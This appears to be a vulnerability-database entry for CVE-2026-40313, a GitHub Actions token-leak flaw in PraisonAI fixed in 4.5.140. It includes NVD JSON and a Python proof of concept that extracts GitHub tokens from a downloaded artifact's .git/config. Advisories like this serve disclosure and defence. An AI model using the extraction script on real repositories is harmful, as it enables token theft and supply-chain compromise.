Security Vulnerability Report
中文
CVE-2026-40313 CVSS 9.1 CRITICAL

CVE-2026-40313

Published: 2026-04-14 04:17:14
Last Modified: 2026-04-20 17:39:52

Description

PraisonAI is a multi-agent teams system. In versions 4.5.139 and below, the GitHub Actions workflows are vulnerable to ArtiPACKED attack, a known credential leakage vector caused by using actions/checkout without setting persist-credentials: false. By default, actions/checkout writes the GITHUB_TOKEN (and sometimes ACTIONS_RUNTIME_TOKEN) into the .git/config file for persistence, and if any subsequent workflow step uploads artifacts (build outputs, logs, test results, etc.), these tokens can be inadvertently included. Since PraisonAI is a public repository, any user with read access can download these artifacts and extract the leaked tokens, potentially enabling an attacker to push malicious code, poison releases and PyPI/Docker packages, steal repository secrets, and execute a full supply chain compromise affecting all downstream users. The issue spans numerous workflow and action files across .github/workflows/ and .github/actions/. This issue has been fixed in version 4.5.140.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:* - VULNERABLE
PraisonAI <= 4.5.139

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import re import os def extract_token_from_artifact(artifact_path): """ This script demonstrates how an attacker might extract a leaked GITHUB_TOKEN from a downloaded artifact zip file that contains a .git/config directory. """ print(f"[*] Analyzing artifact: {artifact_path}") extracted_tokens = [] try: with zipfile.ZipFile(artifact_path, 'r') as zip_ref: # List all files in the artifact file_list = zip_ref.namelist() # Search for .git/config file git_config_path = None for file in file_list: if '.git/config' in file: git_config_path = file break if git_config_path: print(f"[+] Found .git/config at: {git_config_path}") # Read the content of .git/config config_content = zip_ref.read(git_config_path).decode('utf-8') # Regex to find GITHUB_TOKEN (usually starts with ghp_, ghu_, ghs_, etc.) token_pattern = re.compile(r'(ghp_[a-zA-Z0-9]{36}|ghu_[a-zA-Z0-9]{36}|gho_[a-zA-Z0-9]{36}|ghs_[a-zA-Z0-9]{36})') matches = token_pattern.findall(config_content) if matches: for match in matches: print(f"[!] Leaked Token Found: {match}") extracted_tokens.append(match) else: print("[-] No standard GitHub tokens found in config.") else: print("[-] .git/config not found in the artifact.") except Exception as e: print(f"[-] Error processing file: {e}") return extracted_tokens # Example usage (assuming an attacker downloaded 'workflow-artifact.zip') # tokens = extract_token_from_artifact('workflow-artifact.zip')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40313", "sourceIdentifier": "[email protected]", "published": "2026-04-14T04:17:13.890", "lastModified": "2026-04-20T17:39:52.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. In versions 4.5.139 and below, the GitHub Actions workflows are vulnerable to ArtiPACKED attack, a known credential leakage vector caused by using actions/checkout without setting persist-credentials: false. By default, actions/checkout writes the GITHUB_TOKEN (and sometimes ACTIONS_RUNTIME_TOKEN) into the .git/config file for persistence, and if any subsequent workflow step uploads artifacts (build outputs, logs, test results, etc.), these tokens can be inadvertently included. Since PraisonAI is a public repository, any user with read access can download these artifacts and extract the leaked tokens, potentially enabling an attacker to push malicious code, poison releases and PyPI/Docker packages, steal repository secrets, and execute a full supply chain compromise affecting all downstream users. The issue spans numerous workflow and action files across .github/workflows/ and .github/actions/. This issue has been fixed in version 4.5.140."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.140", "matchCriteriaId": "FD852D9F-8355-4F4D-BCD7-6897A46FF1E9"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3959-6v5q-45q2", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://thehackernews.com/2024/08/github-vulnerability-artipacked-exposes.html", "source": "[email protected]", "tags": ["Press/Media Coverage"]}, {"url": "https://unit42.paloaltonetworks.com/github-repo-artifacts-leak-tokens", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}]}}